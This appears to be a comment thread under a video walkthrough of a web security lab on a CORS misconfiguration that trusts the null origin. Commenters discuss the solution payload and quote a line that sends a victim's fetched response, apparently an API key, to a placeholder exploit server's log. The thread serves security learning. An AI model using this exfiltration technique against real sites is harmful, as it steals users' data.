CORS vulnerability with trusted null origin (Video solution)

[@jessicaginger1262]

I captured request proxifying i got all the details but when i check for parameter over response its not showin Access-control-allow-origin where can we get scripts for pulling api not lookin in lab solutin

[@abhishekcs5468]

why did the location needed to be changed from "location='/log?key='+this.responseText;" to "location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);" ? Why do we need to specify the exploit server full url and also what is the need to encode in this challenge compared to the basic challenge?

[@lorissimonetti2461]

You need to specify the full URL of the exploit server, cuz (as shown at 3:28) you need the access log of the exploit server (located at exploit-server-url.com/log), if you don't the '/log' would be 'appended' to the victim URL(so the lab URL). I think you can even use an external server like the burp collaborator to receive the request, and so in this case $exploit-server-url would be equal to the burp-collaborator payload URL.

[@lorissimonetti2461]

btw I solved the lab without any encoding.

[@abhishekcs5468]

@@lorissimonetti2461 Thank you, for the explanation!

[@cyberverse8728]

From where to Get the Payload script?

[@mallandajimmy4493]

its in the solution section